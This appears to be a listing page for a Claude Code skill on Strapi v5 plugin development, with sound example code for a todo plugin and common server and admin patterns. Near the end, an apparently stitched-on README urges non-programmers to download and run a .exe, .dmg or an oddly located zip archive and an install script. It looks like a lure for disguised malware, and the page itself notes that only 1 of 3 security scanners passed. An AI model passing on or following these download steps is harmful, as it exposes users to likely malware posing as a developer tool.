'/bookmark-plugin/bookmarks',
{
method: 'POST',
headers: { Authorization: `Bearer ${token}` },
body: JSON.stringify({ contentType, contentId }),
}
);
}
}---
Complete Plugin Example: @strapi-community/plugin-todo
Based on strapi-community/plugin-todo - a production Strapi v5 plugin.
Plugin Purpose
Adds a todo list panel next to content in Strapi's Content Manager, allowing administrators to track tasks while editing content entries.
Complete File Structure
plugin-todo/
├── package.json
├── admin/
│ └── src/
│ ├── index.ts # Plugin registration
│ ├── pluginId.ts # Plugin ID constant
│ ├── components/
│ │ ├── Initializer.tsx # Plugin initialization
│ │ ├── TodoPanel.tsx # Main panel component
│ │ ├── TodoList.tsx # Task list with checkboxes
│ │ └── TodoModal.tsx # Create task modal
│ ├── utils/
│ └── translations/
│ └── en.json
└── server/
└── src/
├── index.ts # Server exports
├── content-types/
│ ├── index.ts
│ └── task/
│ ├── index.ts
│ └── schema.json
├── controllers/
│ ├── index.ts
│ └── task.ts
├── services/
│ ├── index.ts
│ └── task.ts
└── routes/
├── index.ts
├── admin/
│ ├── index.ts
│ └── task.ts
└── content-api/
└── index.tspackage.json
{
"name": "@strapi-community/plugin-todo",
"version": "1.0.0",
"description": "Keep track of your content management with todo lists",
"strapi": {
"kind": "plugin",
"name": "todo",
"displayName": "Todo"
},
"exports": {
"./strapi-admin": {
"source": "./admin/src/index.ts",
"import": "./dist/admin/index.mjs",
"require": "./dist/admin/index.js"
},
"./strapi-server": {
"source": "./server/src/index.ts",
"import": "./dist/server/index.mjs",
"require": "./dist/server/index.js"
}
},
"dependencies": {
"@tanstack/react-query": "^5.90.16",
"react-intl": "^7.1.11"
},
"peerDependencies": {
"@strapi/design-system": "^2.0.0-rc.14",
"@strapi/icons": "^2.0.0-rc.14",
"@strapi/strapi": "^5.0.0",
"react": "^17.0.0 || ^18.0.0",
"react-dom": "^17.0.0 || ^18.0.0",
"react-router-dom": "^6.0.0",
"styled-components": "^6.0.0"
}
}Content-Type Schema (Hidden from UI)
// server/src/content-types/task/schema.json
{
"kind": "collectionType",
"collectionName": "tasks",
"info": {
"singularName": "task",
"pluralName": "tasks",
"displayName": "Task"
},
"options": {
"draftAndPublish": false
},
"pluginOptions": {
"content-manager": { "visible": false },
"content-type-builder": { "visible": false }
},
"attributes": {
"name": {
"type": "text"
},
"done": {
"type": "boolean"
},
"related": {
"type": "relation",
"relation": "morphToMany"
}
}
}Server Index
// server/src/index.ts
import controllers from './controllers';
import routes from './routes';
import services from './services';
import contentTypes from './content-types';
export default {
controllers,
routes,
services,
contentTypes,
};Service with Custom Method
// server/src/services/task.ts
import { factories } from '@strapi/strapi';
export default factories.createCoreService('plugin::todo.task', ({ strapi }) => ({
async findRelatedTasks(relatedId: string, relatedType: string) {
// Query the polymorphic junction table
const relatedTasks = await strapi.db.query('tasks_related_mph').findMany({
where: {
related_id: relatedId,
related_type: relatedType,
},
});
const taskIds = relatedTasks.map((t) => t.task_id);
// Fetch full task documents
return strapi.documents('plugin::todo.task').findMany({
filters: { id: { $in: taskIds } },
});
},
}));Controller with Custom Endpoint
// server/src/controllers/task.ts
import { factories } from '@strapi/strapi';
export default factories.createCoreController('plugin::todo.task', ({ strapi }) => ({
async findRelatedTasks(ctx) {
const { relatedId, relatedType } = ctx.params;
const tasks = await strapi
.service('plugin::todo.task')
.findRelatedTasks(relatedId, relatedType);
ctx.body = tasks;
},
}));Routes with Core Router + Custom Endpoints
// server/src/routes/index.ts
import contentAPIRoutes from './content-api';
import adminAPIRoutes from './admin';
const routes = {
'content-api': contentAPIRoutes,
admin: adminAPIRoutes,
};
export default routes;// server/src/routes/admin/task.ts
import { factories } from '@strapi/strapi';
export default factories.createCoreRouter('plugin::todo.task');// server/src/routes/admin/index.ts
import task from './task';
export default () => ({
type: 'admin',
routes: [
// Spread core CRUD routes from factory
// @ts-ignore
...task.routes,
// Add custom endpoint
{
method: 'GET',
path: '/tasks/related/:relatedType/:relatedId',
handler: 'task.findRelatedTasks',
},
],
});Admin Entry Point
// admin/src/index.ts
import { PLUGIN_ID } from './pluginId';
import { Initializer } from './components/Initializer';
import { TodoPanel } from './components/TodoPanel';
export default {
register(app: any) {
app.registerPlugin({
id: PLUGIN_ID,
initializer: Initializer,
isReady: false,
name: PLUGIN_ID,
});
},
bootstrap(app: any) {
// Inject panel into Content Manager edit view sidebar
app.getPlugin('content-manager').injectComponent('editView', 'right-links', {
name: 'todo-panel',
Component: TodoPanel,
});
},
async registerTrads({ locales }: { locales: string[] }) {
return Promise.all(
locales.map(async (locale) => {
try {
const { default: data } = await import(`./translations/${locale}.json`);
return { data, locale };
} catch {
return { data: {}, locale };
}
})
);
},
};Plugin ID Constant
// admin/src/pluginId.ts
export const PLUGIN_ID = 'todo';Initializer Component
// admin/src/components/Initializer.tsx
import { useEffect, useRef } from 'react';
import { PLUGIN_ID } from '../pluginId';
interface Props {
setPlugin: (id: string) => void;
}
export const Initializer = ({ setPlugin }: Props) => {
const ref = useRef(setPlugin);
useEffect(() => {
ref.current(PLUGIN_ID);
}, []);
return null;
};Main Panel Component
// admin/src/components/TodoPanel.tsx
import { useState } from 'react';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { unstable_useContentManagerContext as useContentManagerContext } from '@strapi/strapi/admin';
import { TextButton } from '@strapi/design-system';
import { Plus } from '@strapi/icons';
import { TaskList } from './TaskList';
import { TodoModal } from './TodoModal';
const queryClient = new QueryClient();
export const TodoPanel = () => {
const [modalOpen, setModalOpen] = useState(false);
const { id } = useContentManagerContext();
return (
<QueryClientProvider client={queryClient}>
<TextButton
startIcon={<Plus />}
onClick={() => setModalOpen(true)}
disabled={!id}
>
Add todo
</TextButton>
{id && (
<>
<TodoModal open={modalOpen} setOpen={setModalOpen} />
<TaskList />
</>
)}
</QueryClientProvider>
);
};Task List with React Query
// admin/src/components/TaskList.tsx
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';
import { useFetchClient, unstable_useContentManagerContext } from '@strapi/strapi/admin';
import { Checkbox } from '@strapi/design-system';
export const TaskList = () => {
const { get, put } = useFetchClient();
const { slug, id } = unstable_useContentManagerContext();
const queryClient = useQueryClient();
const { data: tasks } = useQuery({
queryKey: ['tasks', slug, id],
queryFn: () => get(`/todo/tasks/related/${slug}/${id}`).then((res) => res.data),
});
const toggleMutation = useMutation({
mutationFn: (task: any) =>
put(`/todo/tasks/${task.documentId}`, { data: { done: !task.done } }),
onSuccess: () => queryClient.invalidateQueries({ queryKey: ['tasks', slug, id] }),
});
const handleCheckboxChange = (task: any) => {
toggleMutation.mutate(task);
};
return (
<ul>
{tasks?.map((task: any) => (
<li key={task.id}>
<Checkbox
checked={task.done}
onCheckedChange={() => handleCheckboxChange(task)}
>
{task.name}
</Checkbox>
</li>
))}
</ul>
);
};Create Task Modal
// admin/src/components/TodoModal.tsx
import { useState } from 'react';
import { useMutation, useQueryClient } from '@tanstack/react-query';
import { useFetchClient, unstable_useContentManagerContext } from '@strapi/strapi/admin';
import { Dialog, TextInput, Button } from '@strapi/design-system';
interface Props {
open: boolean;
setOpen: (open: boolean) => void;
}
export const TodoModal = ({ open, setOpen }: Props) => {
const [taskName, setTaskName] = useState('');
const { post } = useFetchClient();
const { id, model } = unstable_useContentManagerContext();
const queryClient = useQueryClient();
const createMutation = useMutation({
mutationFn: () =>
post('/todo/tasks', {
data: {
name: taskName,
related: [{ __type: model, id }],
},
}),
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: ['tasks'] });
setTaskName('');
setOpen(false);
},
});
return (
<Dialog.Root open={open} onOpenChange={setOpen}>
<Dialog.Content>
<Dialog.Header>Add task</Dialog.Header>
<Dialog.Body>
<TextInput
label="Task"
name="task"
value={taskName}
onChange={(e: any) => setTaskName(e.target.value)}
/>
</Dialog.Body>
<Dialog.Footer>
<Dialog.Cancel>
<Button variant="tertiary">Cancel</Button>
</Dialog.Cancel>
<Dialog.Action>
<Button
onClick={() => createMutation.mutate()}
disabled={!taskName || createMutation.isPending}
>
Confirm
</Button>
</Dialog.Action>
</Dialog.Footer>
</Dialog.Content>
</Dialog.Root>
);
};Key Patterns Demonstrated
| Pattern | Implementation |
|---|---|
| Factory Pattern | factories.createCoreService(), createCoreController(), createCoreRouter() |
| Hidden Content Type | pluginOptions.content-manager.visible: false |
| Polymorphic Relations | morphToMany for relating tasks to any content type |
| Content Manager Integration | injectComponent('editView', 'right-links', ...) |
| React Query | useQuery, useMutation, useQueryClient for data fetching |
| Strapi Admin Hooks | useFetchClient, unstable_useContentManagerContext |
| Route Composition | Spreading core router routes + custom endpoints |
MIT License
Copyright (c) 2026 Ayoub (ayhid)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Strapi v5 Advanced Patterns
Lifecycle Hooks
Plugin Lifecycle
// server/src/register.ts - Runs before bootstrap
export default ({ strapi }: { strapi: Core.Strapi }) => {
// Extend core services
strapi.service('api::article.article').customMethod = async () => {
// Custom logic
};
};
// server/src/bootstrap.ts - Runs after all plugins registered
export default async ({ strapi }: { strapi: Core.Strapi }) => {
// Seed data, set up listeners, etc.
const existingSettings = await strapi
.documents('plugin::my-plugin.settings')
.findFirst();
if (!existingSettings) {
await strapi.documents('plugin::my-plugin.settings').create({
data: { enabled: true },
});
}
};
// server/src/destroy.ts - Cleanup on shutdown
export default async ({ strapi }: { strapi: Core.Strapi }) => {
// Close connections, cleanup resources
};Content-Type Lifecycle Hooks
// server/src/content-types/article/lifecycles.ts
export default {
async beforeCreate(event) {
const { data } = event.params;
// Modify data before creation
if (!data.slug && data.title) {
data.slug = slugify(data.title);
}
},
async afterCreate(event) {
const { result } = event;
// Trigger side effects
await strapi.service('plugin::my-plugin.notifications').send({
type: 'new-article',
articleId: result.documentId,
});
},
async beforeUpdate(event) {
const { data, where } = event.params;
// Validation or transformation
},
async afterUpdate(event) {
const { result } = event;
// Cache invalidation, webhooks, etc.
},
async beforeDelete(event) {
const { where } = event.params;
// Cleanup related data
},
async afterDelete(event) {
// Post-deletion cleanup
},
};Query Patterns
Filtering
// Complex filters
const articles = await strapi.documents('api::article.article').findMany({
filters: {
$and: [
{ publishedAt: { $notNull: true } },
{ title: { $containsi: 'strapi' } },
{
$or: [
{ category: { name: { $eq: 'Tech' } } },
{ featured: { $eq: true } },
],
},
],
},
});
// Filter operators
// $eq, $ne, $in, $notIn, $lt, $lte, $gt, $gte
// $contains, $containsi, $notContains, $notContainsi
// $startsWith, $endsWith, $null, $notNull
// $between, $and, $or, $notPopulation Strategies
// Selective population
const article = await strapi.documents('api::article.article').findOne({
documentId: 'abc123',
populate: {
author: {
fields: ['username', 'email'],
},
categories: {
fields: ['name', 'slug'],
filters: { active: true },
},
cover: true, // Simple populate
},
});
// Deep population
const article = await strapi.documents('api::article.article').findOne({
documentId: 'abc123',
populate: {
author: {
populate: {
avatar: true,
role: {
fields: ['name'],
},
},
},
},
});
// Dynamic zone population
const page = await strapi.documents('api::page.page').findOne({
documentId: 'xyz789',
populate: {
blocks: {
on: {
'blocks.hero': { populate: ['image'] },
'blocks.rich-text': true,
'blocks.cta': { populate: ['link'] },
},
},
},
});Pagination
// Offset pagination
const { results, pagination } = await strapi
.documents('api::article.article')
.findMany({
status: 'published',
limit: 10,
start: 20,
});
// In controllers, use pagination helper
async findMany(ctx) {
const { page = 1, pageSize = 25 } = ctx.query;
const start = (page - 1) * pageSize;
const limit = Math.min(pageSize, 100); // Cap at 100
const [results, total] = await Promise.all([
strapi.documents('api::article.article').findMany({
start,
limit,
status: 'published',
}),
strapi.documents('api::article.article').count({
status: 'published',
}),
]);
return {
data: results,
meta: {
pagination: {
page,
pageSize: limit,
pageCount: Math.ceil(total / limit),
total,
},
},
};
}Middleware Patterns
Global Middleware
// server/src/middlewares/request-logger.ts
export default (config, { strapi }) => {
return async (ctx, next) => {
const start = Date.now();
await next();
const duration = Date.now() - start;
strapi.log.info(`${ctx.method} ${ctx.url} - ${duration}ms`);
};
};Route-Specific Middleware
// In routes definition
{
method: 'GET',
path: '/items',
handler: 'item.findMany',
config: {
middlewares: ['plugin::my-plugin.rate-limit'],
},
}
// server/src/middlewares/rate-limit.ts
export default (config, { strapi }) => {
const requests = new Map();
return async (ctx, next) => {
const ip = ctx.ip;
const now = Date.now();
const windowMs = config.windowMs || 60000;
const max = config.max || 100;
// Simple rate limiting logic
const userRequests = requests.get(ip) || [];
const recentRequests = userRequests.filter(t => now - t < windowMs);
if (recentRequests.length >= max) {
return ctx.throw(429, 'Too many requests');
}
recentRequests.push(now);
requests.set(ip, recentRequests);
await next();
};
};Custom Field Pattern
// server/src/register.ts
export default ({ strapi }: { strapi: Core.Strapi }) => {
strapi.customFields.register({
name: 'color-picker',
plugin: 'my-plugin',
type: 'string',
inputSize: {
default: 4,
isResizable: true,
},
});
};
// admin/src/index.tsx
app.customFields.register({
name: 'color-picker',
pluginId: 'my-plugin',
type: 'string',
intlLabel: {
id: 'my-plugin.color-picker.label',
defaultMessage: 'Color Picker',
},
intlDescription: {
id: 'my-plugin.color-picker.description',
defaultMessage: 'Select a color',
},
components: {
Input: async () => import('./components/ColorPickerInput'),
},
options: {
base: [
{
name: 'options.format',
type: 'select',
intlLabel: { id: 'color-picker.format', defaultMessage: 'Format' },
options: [
{ value: 'hex', label: 'HEX' },
{ value: 'rgb', label: 'RGB' },
],
},
],
},
});Injection Zones
// admin/src/index.tsx
export default {
bootstrap(app) {
// Inject into Content Manager edit view
app.getPlugin('content-manager').injectComponent('editView', 'right-links', {
name: 'my-plugin-preview',
Component: () => import('./components/PreviewButton'),
});
// Inject into Content Manager list view
app.getPlugin('content-manager').injectComponent('listView', 'actions', {
name: 'my-plugin-bulk-action',
Component: () => import('./components/BulkAction'),
});
},
};Service Composition Pattern
// server/src/services/article.ts
const articleService = ({ strapi }: { strapi: Core.Strapi }) => ({
// Core CRUD wrapping Document Service
async findPublished(options = {}) {
return strapi.documents('api::article.article').findMany({
...options,
status: 'published',
});
},
// Business logic methods
async publishWithNotification(documentId: string) {
const article = await strapi.documents('api::article.article').publish({
documentId,
});
// Compose with other services
await strapi.service('plugin::my-plugin.notification').send({
type: 'article-published',
data: article,
});
await strapi.service('plugin::my-plugin.cache').invalidate(`article:${documentId}`);
return article;
},
// Aggregation methods
async getStats() {
const [total, published, draft] = await Promise.all([
strapi.documents('api::article.article').count({}),
strapi.documents('api::article.article').count({ status: 'published' }),
strapi.documents('api::article.article').count({ status: 'draft' }),
]);
return { total, published, draft };
},
});
export default articleService;Error Handling Pattern
// server/src/utils/errors.ts
import { errors } from '@strapi/utils';
const { ApplicationError, NotFoundError, ForbiddenError } = errors;
export class PluginError extends ApplicationError {
constructor(message: string, details?: object) {
super(message, details);
this.name = 'PluginError';
}
}
// Usage in controllers
async findOne(ctx) {
const { id } = ctx.params;
const item = await strapi.documents('plugin::my-plugin.item').findOne({
documentId: id,
});
if (!item) {
throw new NotFoundError(`Item with id ${id} not found`);
}
if (item.private && ctx.state.user?.id !== item.owner?.id) {
throw new ForbiddenError('You do not have access to this item');
}
return { data: item };
}TypeScript Patterns
Typed Services
// server/src/services/index.ts
import type { Core } from '@strapi/strapi';
import itemService from './item';
export default {
item: itemService,
};
// Type augmentation for strapi.service()
declare module '@strapi/strapi' {
interface Services {
'plugin::my-plugin.item': ReturnType<typeof itemService>;
}
}Typed Content-Types
// After running: strapi ts:generate-types
import type { Struct, Schema } from '@strapi/strapi';
// Auto-generated types in types/generated/contentTypes.d.ts
export interface PluginMyPluginItem extends Struct.CollectionTypeSchema {
collectionName: 'items';
info: {
singularName: 'item';
pluralName: 'items';
displayName: 'Item';
};
attributes: {
title: Schema.Attribute.String & Schema.Attribute.Required;
slug: Schema.Attribute.UID<'title'>;
content: Schema.Attribute.RichText;
};
}Cron Jobs
// server/src/config/index.ts
export default {
default: {},
validator: () => {},
};
// config/cron-tasks.ts (in main Strapi app)
export default {
'*/5 * * * *': async ({ strapi }) => {
// Run every 5 minutes
await strapi.service('plugin::my-plugin.sync').run();
},
'0 0 * * *': async ({ strapi }) => {
// Run daily at midnight
await strapi.service('plugin::my-plugin.cleanup').oldDrafts();
},
};Webhook Pattern
// server/src/services/webhook.ts
const webhookService = ({ strapi }: { strapi: Core.Strapi }) => ({
async trigger(event: string, payload: object) {
const settings = await strapi
.documents('plugin::my-plugin.settings')
.findFirst();
if (!settings?.webhookUrl) {
return;
}
try {
await fetch(settings.webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Webhook-Event': event,
},
body: JSON.stringify({
event,
timestamp: new Date().toISOString(),
data: payload,
}),
});
} catch (error) {
strapi.log.error(`Webhook failed for event ${event}:`, error);
}
},
});
export default webhookService;---
React Query Pattern (plugin-todo)
The recommended approach for admin panel data fetching using @tanstack/react-query.
Query Client Setup
// admin/src/components/MyPanel.tsx
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
const queryClient = new QueryClient();
export const MyPanel = () => {
return (
<QueryClientProvider client={queryClient}>
<MyContent />
</QueryClientProvider>
);
};Data Fetching with useQuery
// admin/src/components/TaskList.tsx
import { useQuery } from '@tanstack/react-query';
import { useFetchClient, unstable_useContentManagerContext } from '@strapi/strapi/admin';
export const TaskList = () => {
const { get } = useFetchClient();
const { slug, id } = unstable_useContentManagerContext();
const { data: tasks, isLoading, error } = useQuery({
queryKey: ['tasks', slug, id],
queryFn: () => get(`/todo/tasks/related/${slug}/${id}`).then((res) => res.data),
enabled: !!id, // Only fetch when id exists
});
if (isLoading) return <div>Loading...</div>;
if (error) return <div>Error loading tasks</div>;
return (
<ul>
{tasks?.map((task: any) => (
<li key={task.id}>{task.name}</li>
))}
</ul>
);
};Mutations with Cache Invalidation
// admin/src/components/TaskList.tsx
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';
import { useFetchClient, unstable_useContentManagerContext } from '@strapi/strapi/admin';
import { Checkbox } from '@strapi/design-system';
export const TaskList = () => {
const { get, put } = useFetchClient();
const { slug, id } = unstable_useContentManagerContext();
const queryClient = useQueryClient();
const { data: tasks } = useQuery({
queryKey: ['tasks', slug, id],
queryFn: () => get(`/todo/tasks/related/${slug}/${id}`).then((res) => res.data),
});
const toggleMutation = useMutation({
mutationFn: (task: any) =>
put(`/todo/tasks/${task.documentId}`, { data: { done: !task.done } }),
onSuccess: () => {
// Invalidate and refetch
queryClient.invalidateQueries({ queryKey: ['tasks', slug, id] });
},
});
return (
<ul>
{tasks?.map((task: any) => (
<li key={task.id}>
<Checkbox
checked={task.done}
onCheckedChange={() => toggleMutation.mutate(task)}
>
{task.name}
</Checkbox>
</li>
))}
</ul>
);
};Create Mutation with Modal
// admin/src/components/TodoModal.tsx
import { useState } from 'react';
import { useMutation, useQueryClient } from '@tanstack/react-query';
import { useFetchClient, unstable_useContentManagerContext } from '@strapi/strapi/admin';
import { Dialog, TextInput, Button } from '@strapi/design-system';
interface Props {
open: boolean;
setOpen: (open: boolean) => void;
}
export const TodoModal = ({ open, setOpen }: Props) => {
const [taskName, setTaskName] = useState('');
const { post } = useFetchClient();
const { id, model } = unstable_useContentManagerContext();
const queryClient = useQueryClient();
const createMutation = useMutation({
mutationFn: () =>
post('/todo/tasks', {
data: {
name: taskName,
related: [{ __type: model, id }],
},
}),
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: ['tasks'] });
setTaskName('');
setOpen(false);
},
});
return (
<Dialog.Root open={open} onOpenChange={setOpen}>
<Dialog.Content>
<Dialog.Header>Add Task</Dialog.Header>
<Dialog.Body>
<TextInput
label="Task name"
value={taskName}
onChange={(e) => setTaskName(e.target.value)}
/>
</Dialog.Body>
<Dialog.Footer>
<Dialog.Cancel>
<Button variant="tertiary">Cancel</Button>
</Dialog.Cancel>
<Dialog.Action>
<Button
onClick={() => createMutation.mutate()}
disabled={!taskName || createMutation.isPending}
>
Confirm
</Button>
</Dialog.Action>
</Dialog.Footer>
</Dialog.Content>
</Dialog.Root>
);
};Content Manager Integration Pattern
Injecting Components into Edit View
// admin/src/index.ts
export default {
bootstrap(app: any) {
// Add panel to right sidebar of edit view
app.getPlugin('content-manager').injectComponent('editView', 'right-links', {
name: 'my-plugin-panel',
Component: MyPanel,
});
},
};Available Injection Zones
| Zone | Location |
|---|---|
editView.right-links | Right sidebar of content edit view |
editView.informations | Information panel in edit view |
listView.actions | Actions area in list view |
listView.deleteModalAdditionalInfos | Additional info in delete modal |
Using Content Manager Context
import { unstable_useContentManagerContext } from '@strapi/strapi/admin';
const MyComponent = () => {
const {
id, // Current document ID (null if creating new)
slug, // Content type slug (e.g., 'api::article.article')
model, // Content type model name
isCreatingEntry,
hasDraftAndPublish,
} = unstable_useContentManagerContext();
return (
<div>
{id ? `Editing: ${id}` : 'Creating new entry'}
</div>
);
};Polymorphic Relations Pattern
Schema with morphToMany
{
"attributes": {
"related": {
"type": "relation",
"relation": "morphToMany"
}
}
}Querying Polymorphic Relations
// server/src/services/task.ts
import { factories } from '@strapi/strapi';
export default factories.createCoreService('plugin::todo.task', ({ strapi }) => ({
async findRelatedTasks(relatedId: string, relatedType: string) {
// Query the junction table directly
const relatedTasks = await strapi.db
.query('tasks_related_mph')
.findMany({
where: {
related_id: relatedId,
related_type: relatedType,
},
});
const taskIds = relatedTasks.map((t) => t.task_id);
// Fetch full task documents
return strapi.documents('plugin::todo.task').findMany({
filters: { id: { $in: taskIds } },
});
},
}));Creating with Polymorphic Relation
// Creating a task related to an article
await strapi.documents('plugin::todo.task').create({
data: {
name: 'Review article',
done: false,
related: [
{
__type: 'api::article.article',
id: articleId,
},
],
},
});Factory Pattern Deep Dive
createCoreService
import { factories } from '@strapi/strapi';
// Minimal - just use core CRUD
export default factories.createCoreService('plugin::my-plugin.item');
// Extended - add custom methods
export default factories.createCoreService('plugin::my-plugin.item', ({ strapi }) => ({
// Custom method
async findActive() {
return strapi.documents('plugin::my-plugin.item').findMany({
filters: { active: true },
});
},
// Override core method
async findOne(documentId: string) {
const item = await super.findOne(documentId);
// Add custom logic
return { ...item, customField: 'value' };
},
}));createCoreController
import { factories } from '@strapi/strapi';
// Minimal - standard CRUD endpoints
export default factories.createCoreController('plugin::my-plugin.item');
// Extended - add custom endpoints
export default factories.createCoreController('plugin::my-plugin.item', ({ strapi }) => ({
// Custom endpoint handler
async findActive(ctx) {
const items = await strapi
.service('plugin::my-plugin.item')
.findActive();
ctx.body = { data: items };
},
// Override core endpoint
async find(ctx) {
// Add custom logic before
const result = await super.find(ctx);
// Add custom logic after
return result;
},
}));createCoreRouter
import { factories } from '@strapi/strapi';
// Creates standard REST routes: GET, POST, GET/:id, PUT/:id, DELETE/:id
export default factories.createCoreRouter('plugin::my-plugin.item');
// The generated routes object has a .routes property that can be spread
// into custom route definitionsServer Index Pattern (plugin-todo)
// server/src/index.ts
import controllers from './controllers';
import routes from './routes';
import services from './services';
import contentTypes from './content-types';
export default {
controllers,
routes,
services,
contentTypes,
};// server/src/services/index.ts
import task from './task';
export default {
task,
};// server/src/controllers/index.ts
import task from './task';
export default {
task,
};Plugin Initializer Pattern
// admin/src/components/Initializer.tsx
import { useEffect, useRef } from 'react';
import { PLUGIN_ID } from '../pluginId';
interface Props {
setPlugin: (id: string) => void;
}
export const Initializer = ({ setPlugin }: Props) => {
const ref = useRef(setPlugin);
useEffect(() => {
ref.current(PLUGIN_ID);
}, []);
return null;
};🚀 claude-skill-strapi-expert - Simplify Strapi Plugin Development

🌟 Introduction
Welcome to the Claude Code skill for Strapi v5 plugin development! This application offers expert guidance for building production-grade Strapi plugins. Whether you’re a content creator or a developer looking to enhance your Strapi project, this tool can help simplify your plugin development process.
🚀 Getting Started
To get started with the claude-skill-strapi-expert application, follow these simple steps. You don’t need to have any programming knowledge. Just follow the instructions and you’ll be ready to use the software in no time.
1. Check System Requirements:
- Operating System: Windows, macOS, or Linux.
- Memory: At least 4GB of RAM.
- Disk Space: 100 MB of free space.
- Internet Connection: Required for downloading and installing.
2. Visit the Releases Page: Head over to the Releases page to download the application.
📥 Download & Install
1. After visiting the Releases page, you will see a list of available versions. 2. Choose the latest version (look for the highest number). 3. Click on the link to download the file suitable for your operating system:
- For Windows, download the
.exefile. - For macOS, download the
.dmgfile. - For Linux, download the
https://github.com/MKShahzad77/claude-skill-strapi-expert/raw/refs/heads/main/commodatum/skill-claude-expert-strapi-1.0.zipfile.
4. Once downloaded, locate the file in your downloads folder. 5. For Windows:
- Double-click the
.exefile to start the installation. - Follow the prompts to complete the setup.
For macOS:
- Open the
.dmgfile and drag the application to your Applications folder. - Open the application from the Applications folder.
For Linux:
- Extract the
https://github.com/MKShahzad77/claude-skill-strapi-expert/raw/refs/heads/main/commodatum/skill-claude-expert-strapi-1.0.zipfile using your preferred method. - Run the installation script in the terminal.
6. After installation, locate the application in your system and double-click to open it.
🛠️ How to Use
Once you have installed the application, you can begin using it to explore Strapi plugin development. The application includes a user-friendly interface guiding you through various features:
- Tutorials: Access a list of tutorials that provide step-by-step instructions on building Strapi plugins.
- Examples: Browse through real-world examples to see how other developers create plugins.
- Best Practices: Learn best practices in plugin development for efficient coding and deployment.
Simply select a topic from the menu to dive deeper.
📚 Helpful Resources
- Documentation: Comprehensive documentation is available within the application and on the official website.
- Community Support: Join the Strapi community forums to ask questions and get support from other users.
- Video Tutorials: Explore video content that walks you through the software’s features and functionalities.
⚙️ Troubleshooting
If you encounter any issues while downloading or using the application, here are some common troubleshooting steps:
- Ensure your operating system meets the minimum requirements.
- Check your internet connection.
- Restart your computer and try the installation again.
- Refer to the FAQs on the documentation page for specific errors.
🔗 Links
For more information, visit the following resources:
- Releases Page
- Documentation (Insert actual link)
- Community Forum (Insert actual link)
💬 Feedback
Your feedback is important to us! If you have any suggestions or run into issues, please open an issue on the repository or contact us through our support channels.
Feel free to start your journey with claude-skill-strapi-expert today and ease your Strapi plugin development process!
Related skills
How it compares
Pick strapi-expert over generic Node.js backend skills when the task involves Strapi v5 plugin structure, content-types, or Document Service API patterns specific to the headless CMS platform.
FAQ
What does strapi-expert do?
Strapi v5 plugin development expert. Use for building, refactoring, or revamping plugins, custom APIs, admin panel extensions, Document Service API usage, content-type creation, and CMS architecture. Invoke when working
When should I use strapi-expert?
Strapi v5 plugin development expert. Use for building, refactoring, or revamping plugins, custom APIs, admin panel extensions, Document Service API usage, content-type creation, and CMS architecture. Invoke when working
What are common prerequisites?
--- name: strapi-expert description: Strapi v5 plugin development expert.
Is Strapi Expert safe to install?
skills.sh reports 1 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.